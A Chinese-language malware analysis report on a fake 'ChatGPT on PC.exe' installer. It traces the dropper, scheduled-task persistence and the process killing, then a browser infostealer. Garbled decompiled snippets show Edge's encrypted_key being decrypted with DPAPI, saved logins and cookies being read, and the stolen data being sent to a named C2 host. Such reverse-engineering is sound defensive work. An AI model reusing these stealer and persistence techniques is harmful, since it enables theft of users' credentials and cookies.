
样本名: ChatGPT on PC.exe

MD5: 60ebaeff6b1c23d45a19fd7682f7763f


SHA-256: 33094aa9fff71e220905ea21a92496257f661686491fabb0eaac81d6f3c94e43

ChatGPT on PC.exe


1. 动态执行,会在同文件夹中释放一个 setup.exe




- 2. 火绒剑动态监控:
 - 发现文件创建和删除




- 3. 跟踪动态分析详情:
 - 发现操作的文件有 __tmp_rar_sfx_access_check_50586818 、 setup.exe 、 MSPSecurity.exe 文件
 - 发现调用系统函数 CreateFileW 进行操作
 - 其实 setup.exe 就是_tmp_rar_sfx_access_check_50586818 文件解密改名得到的



4. IDA 打开文件, 在主窗口从头搜索关键字符"tmp"



5. 找到动态监控的文件名相似的字符串:



6. 跟入指定的函数位置 sub_41A62C:

```
💹 🝊 🖟
0041A904 call
                       ds:GetTickCount
0041A90A push
0041A90B push
                       offset a__tmp_rar_sfx_
eax, [ebp-1164h]
                                                           " tmp rar sfx access check %u
0041A910 lea
0041A916 push
0041A91B push
                       800h
                       eax
                       sub 403F52
0041A91C
            call
0041A921 add
                       esp, 10h
                       ecx, [ebp-3188h]
sub_4094CB
0041A924 lea
0041A92A call
0041A92F and
0041A933 lea
                       dword ptr [ebp-4], 0 eax, [ebp-1164h]
0041A939 push
                       11h
0041A93B push
0041A93C lea
0041A942 call
                       eax
                       sub 4095B7
[ebp+13h], al
0041A947 mov
                       al, al
short loc_41A958
0041A94A test
0041A94C jnz
```


7. 继续分析下面的函数,在 sub_4095B7 中发现了 CreatFiles 函数:

```
■ ■ ■ 0040962B
  0040962B loc 40962B
                                                  62B:
edi, [esp+16h]
ebx, ebx
ebx
ebx
2
ebx
ebp
edi
[esp+28h+lpFileN]
ds:CreateFileW
                                                                                                                                                                                                0040962B mov
0040962F xor
                                                                                                                                                                                                                                                                                                                  hTemplateFile
dwFlagsAndAttributes
dwCreationDisposition
lpSecurityAttributes
dwShareMode
dwDesiredAccess
                                                                                                                                                                                                00409668 push
00409669 push
0040966A push
0040962F xor
00409631 push
00409632 push
00409635 push
00409635 push
00409637 push
00409637 push
0040963F call
00409645 mov
                                                                                                         hTemplateFile
dwFlagsAndAttributes
dwCreationDisposition
1pSecurityAttributes
dwShareMode
dwDesiredAccess
me] ; 1pFileName
                                                                                                                                                                                                                                                         ebx
                                                                                                                                                                                                                                                       ebx
ebp
edi
                                                                                                                                                                                                0040966C
0040966D
0040966E
0040966F
                                                                                                                                                                                                                             push
push
push
lea
                                                                                                                                                                                                                                                         eax. [esp+28h+FileName]
                                                                                                                                                                                                                                                                                                                   lpFileName
                                                                                                                                                                                                 00409673 push
                                                     ds:CreateFil
[esi+4], eax
```

setup.exe

md5:

9. 动态运行后, ChatGPT on PC.exe 会在同文件夹下创建 setup.exe(setup.exe 属性被设置为隐藏)



10. 对 setup.exe 进行分析, 该程序由.net 编写



11. 利用 dnSpy 进行反编译,找到程序入口点

- 12. 通过分析, 并未在 main 函数中发现释放资源的操作。
- 13. 动态调试时发现程序会先执行另外的代码,

C#中 main 函数之前执行的代码的方法:

14. 作者在编译时进行了设置, 会在 main 函数执行前执行其他的代码, 代码保存在 Costura 和 '-' 命名空间中,

15. 进行函数跟踪, 跟入 Attach 函数, 发现 ResolveAssembly 函数 (进行资源内存加载):

```
public static void Attach()
{
    if (Interlocked Exchange (ref AssemblyLoader.isAttached, 1) == 1)
    {
        return;
    }
    AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandle (AssemblyLoader.ResolveAssembly);
}
```

16. 跟入 ResolveAssembly 函数:

17. 跟入 ReadFromEmbeddedResources 函数:
Assembly.Load(rawAssembly, rawSymbolStore)进行了资源到内存的加载(gmlib.dll)

其中 rawAssembly 变量是一个字节数组,它是包含已发出程序集的基于 COFF 的映像 (程序的二进制文件):



rawSymbolStore 变量包含表示程序集符号的原始字节的字节数组

18. AssemblyLoader.Attach() 执行完后,程序转到入口点 main 函数进行执行;核心程序在 Play()对象中:

19. 跟入 Paly()对象:

20. 发现 Paly()对象会调用 GameController 执行 ExtractGame 方法;而 GameController 对象是从前面加载的 Gmlib.dll 中定义的

```
private void start_Main()

24
25
26

CameController. ExtactGame (this. argsParameter);

☐ Gmulb (1.1.1.8)

☐ Gmulb (1.1.1.8)

☐ Gmulb (1.1.8)

☐ GameColto

☐ GameController @02000002
```

21. 转到 GameController 中进行分析,发现 ExtactGame 方法会执行多个函数:

- 22. 分别对这几个函数进行分析:
 - (1) 首先是 CheckRole()函数:

该函数首先检查当前用户是否是管理员,如果是管理员则获取系统路径 "C:\\Program Files (x86)",然后进行组合得到"C:\\Program Files (x86)\MSPSecurity" 作为输出路径:

如果不是管理员则尝试进行提权, 然后获取系统文件路径:

(2) 接下来分析 KillApp()函数:

该函数首先获取系统的所有进程信息:

然后检查"MSPSecurity"是否在运行,如果正在运行,则将该进程 kill:

(3) 然后分析 KillBrowser()函数:

此函数首先获取当前系统的进程,然后从中查找浏览器进程,如果找到浏览器进程则对其进行 kill:

(4) 然后分析 ExtractFile()函数:

该程序首先检查指定路径下的文件夹是否存在,此路径就是上面分析得到的路径 "C:\\Program Files (x86)\MSPSecurity",如果路径存在,则获取该文件夹中的所有文件,然后进行删除,同时删除" MSPSecurity"文件夹

如果指定路径"C:\\Program Files (x86)\MSPSecurity"不存在,则尝试创建文件夹;然后检查是否存在"C:\\Program Files (x86)\MSPSecurity\ MSPSecurity !exe";

```
try
{
    Directory.CreateDirectory(GameController.outFile);
}
catch
{
    bool flag2 = !File.Exists(GameController.outFile + "\\" + GameController.fileOutName + ".exe");
if (flag2)
```

如果 exe 文件不存在,则从当前程序集 GmLib.dll 的资源中读取资源 "Lib.Resources.botexec_1"; 然后将资源写入"C:\\Program Files (x86)\MSPSecurity\MSPSecurity.exe

```
▲ ① GmLib (1.1.1.8)

▲ □ GmLib.dll

▶ ■ 引用

▲ ② 资源
□ Ibi.Resources.botexec_1

P() -

▲ () GamePcLib

▶ ● GameController @02000002
```

(5) 接下来分析 CreateTask 函数:


此函数会尝试删除存在的任务"Update\\Windows",并且创建新的系统任务:

```
private static void CreateTask()
{
    try
{
        GameController.DeleteTaskEx;|st(GameController.Task_Name);
        GameController.CreateTaskUserLocal(GameController.Task_Name);
    }
    catch
    {
}
```

在创建新的任务时,还会给出提示,并且设置触发器每 10 分钟触发一次,触发器

的操作则是执行"C:\\Program Files (x86)\MSPSecurity\ MSPSecurity.exe ":





(6) 最后是 RunTask 函数:

该函数运行创建的任务, 实现恶意程序持续驻留:



MSPSecurity.exe

23. 利用 dnSpy 进行分析,发现其结构与 setup.exe 类似,首先进行资源文件加载,然后咋main 程序中调用:

24. 程序入口创建线程执行了 Program 类中的 Security_Proected 方法:

25. 发现 Program 类并没定义,那么应该是动态加载的,所以需要在 main 函数处下断点,然后跳转到 Program 类进行分析(需要单步执行,待 dnspy 加载 MSSSecurity.dll 后,就可以进行分析)

```
▲ ① MSSSecurity (1.1.2.3)

■ MSSSecurity (1.1.2.3)

■ MSSSecurity.dll

■ ■ 別用

■ 資源

■ () - ConsoleApp1

■ () Costura

■ () EmbeddedSQLiteDemo

■ () USON

■ () JiSSon

■ () JiSJson-Data

■ () JiSJson-Properties
```

26. 跟入 Program.Security_Proected 方法: 此方法会先创建一个对象 PerInfo(),该对象用于保存从感染主机中收集的信息(IP,主机名,系统版本等):

```
public static void Security_Proected()

( try

{    Program. perInfo = new PerInfo();
    Thread thread = new Thread(new ThreadStart(Infomation. runAsync));
    Thread thread3 = new Thread(new ThreadStart(Edge. runAsync));
    Thread thread4 = new Thread(new ThreadStart(Edge. runAsync));
    Thread thread5 = new Thread(new ThreadStart(Pirefox. runAsync));
    Thread thread6 = new Thread(new ThreadStart(Pirefox. runAsync));
    Thread thread6 = new Thread(new ThreadStart(Pirefox. runAsync));
    Thread thread7 = new Thread(new ThreadStart(Spave. runAsync));
    Thread thread7 = new Thread(new ThreadStart(Wandex. runAsync));
    Thread thread9 = new Thread(new ThreadStart(Wandex. runAsync));
    Thread thread10 = new Thread(new ThreadStart(Wandex. runAsync));
    Thread thread12 = new Thread(new ThreadStart(Vivandex. runAsync));
    Thread thread12 = new Thread(new ThreadStart(Silm.runAsync));
    Thread thread13 = new Thread(new ThreadStart(Silm.runAsync));
    Thread thread14 = new Thread(new ThreadStart(Midori. runAsync));
    Thread thread13 = new Thread(new ThreadStart(Midori. runAsync));
    Thread thread14 = new Thread(new ThreadStart(Midori. runAsync));
    Thread thread15 = new Thread(new ThreadStart(Midori. runAsync));
    Thread thread16 = new Thread(new ThreadStart(Midori. runAsync));
    Thread thread17 = new Thread(new ThreadStart(Midori. runAsync));
    Thread thread18 = new Thread(new ThreadStart(Midori. runAsync));
    Thread thread19 = new Thread(new Thr
```

接下来会创建多个线程并依次执行:

```
public static void Security_Proceted()

( Thread thread() = new Thread(new ThreadStart (Stin runksyno));
Thread thread = new Thread(new ThreadStart (Infonation.runksyno));
Thread thread = new Thread(new ThreadStart (Infonation.runksyno));
Thread thread() = new Thread(new ThreadStart (Infonation.runksyno));
Thread thread() = new Thread(new ThreadStart (Infonation.runksyno));
Thread thread() = new Thread(new ThreadStart (Edge.runksyno));
Thread thread() = new Thread(new ThreadStart (Edge.runksyno));
Thread thread() = new Thread(new ThreadStart (Infonation.runksyno));
Thread thread() = new Thr
```

(1) 我们对这些线程的主要功能进行分析,首先是 Information.runAsync 方法: 该方法会首先设置 http 链接协议 Tls12,然后尝试访问 api.ipify.org(该网站能返回 当前主机的 IP 及其相关信息)并且从返回中获取一个 json 数据,其中包括 IP 地址 和国家等:

接下来会利用从上面中获取的数据提取 IP 然后访问 ip-api.com 从而获取当前主机的更多信息,包括 IP 地址查询状态、国家、地区、城市、等信息,然后将这些信息保存到 perInfo 对象中:

(2) 然后看下面的线程创建,都是对浏览器进行命名和操作,跟进去后发现都是进行同样的操作——窃密。我们以 Edge.runAsync 方法为例:

该方法首先遍历指定路径中("C:\\Users\\Administrator\\AppData\\Local")的文件夹,然后访问指定浏览器文件夹中的用户 Local State 文件,该文件保存了用户的浏览器多种重要数据(其中包括 os_crypt 下的 encrypted_key 密钥,该密钥用于对网站账户、cookie、密码等隐私数据):

```
### public static voie runAsymc()

### string str = "\Microsoft\\Edge";

### string str = "\Microsoft\\Edge";

### string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

### string taxt = File.ReadAllText(folderPath * str + "\User Data\\Local State");

### text = |DOject.Parse(text).get_ltem(*os_crypt*).get_ltem(*encrypted_key*).ToString();

### text = text.Replace("", ");

### byte(] array = Convert.FromBase6String(Edge.RemoveInvalidChars(text));

### byte(] decodedKey = ProtectedData.Unprotect(encryptedData, mull, DataProtectionScope.LocalMachine);

### DirectoryInfo directoryInfo = new DirectoryInfo(folderPath * str * \\User Data );
```

接下来利用密钥解密浏览器中保存的用户数据(账户信息、cookie):

```
DirectoryInfo directoryInfo = new DirectoryInfo(folderPath + str + "\\User Data"):
int num = 1;
string text3 = "";
string text3 = "";
DirectoryInfo[] directories = directoryInfo.CetDirectories(): 获取浏览器目录下的所有文件
for {int i = 0; i < directoryInfo2 = directories[i];
bool flag = directoryInfo2. Name. ToLower(). Contains("default") || directoryInfo2. Name. ToLower(). Contains
("profile"):
if (flag)
{
    string text4 = Edge.readLoginData(directoryInfo2.FullName, decodedKey, num):
    bool flag2 = !string.IsNullOr#hiteSpace(text4):
    if (flag)
    {
        text2 += string.Format("Edge {0}{1}", num, Environment.NewLine):
        text2 += text4:
    }
    string text5:
    string fbCookie = Edge.readCookie(directoryInfo2.FullName, decodedKey, num, out text3, out text5);
```

然后将获取的浏览器中保存的账户信息和 cookie 进行保存:

```
| bool flag5 = string. IsNullOrWhiteSpace(Program. perInfo. LoginAccount);
| if (flag5) {
| Program. perInfo. LoginAccount = "";
| }
| PerInfo expr_22E = Program. perInfo;
| expr_22E LoginAccount += text2; | 保存账户信息
```

(3) 最后将调用 Program.writeLog 方法,在本地创建 Log.txt 并且向其中写入字符串以及前面收集的用户数据:

```
thread11.join();
thread12.join();
thread13.join();
thread14.loin();
thread14.loin();

Program writeLog("Game playing");
string text = JsonConvert.SerializeObject(Program.perInfo);
Program.writeLog("Game playing 1");
string value = EncryptionHelper.CompressString_2(text);
Program.writeLog("Game playing 2");
Program.sulEEP = Program.PostData(value, EncryptionHelper.CompressString_2(Program.RandomString(15)));
Program.writeLog("Game playing 3");
Console.Write(text);
Console.Write(text);
```

(4) 同时还会调用 Program.PostData 向黑客的 C2 (api.game4fa.com) 传输收集的信息 (其中信息被 EncryptionHelper.CompressString_2 进行加密,并且添加了随机数以 干扰流量分析),同时还会接收 C2 返回的信息,并且写入 Log.txt 文件中。

27. 整个恶意代码分析结束。

28.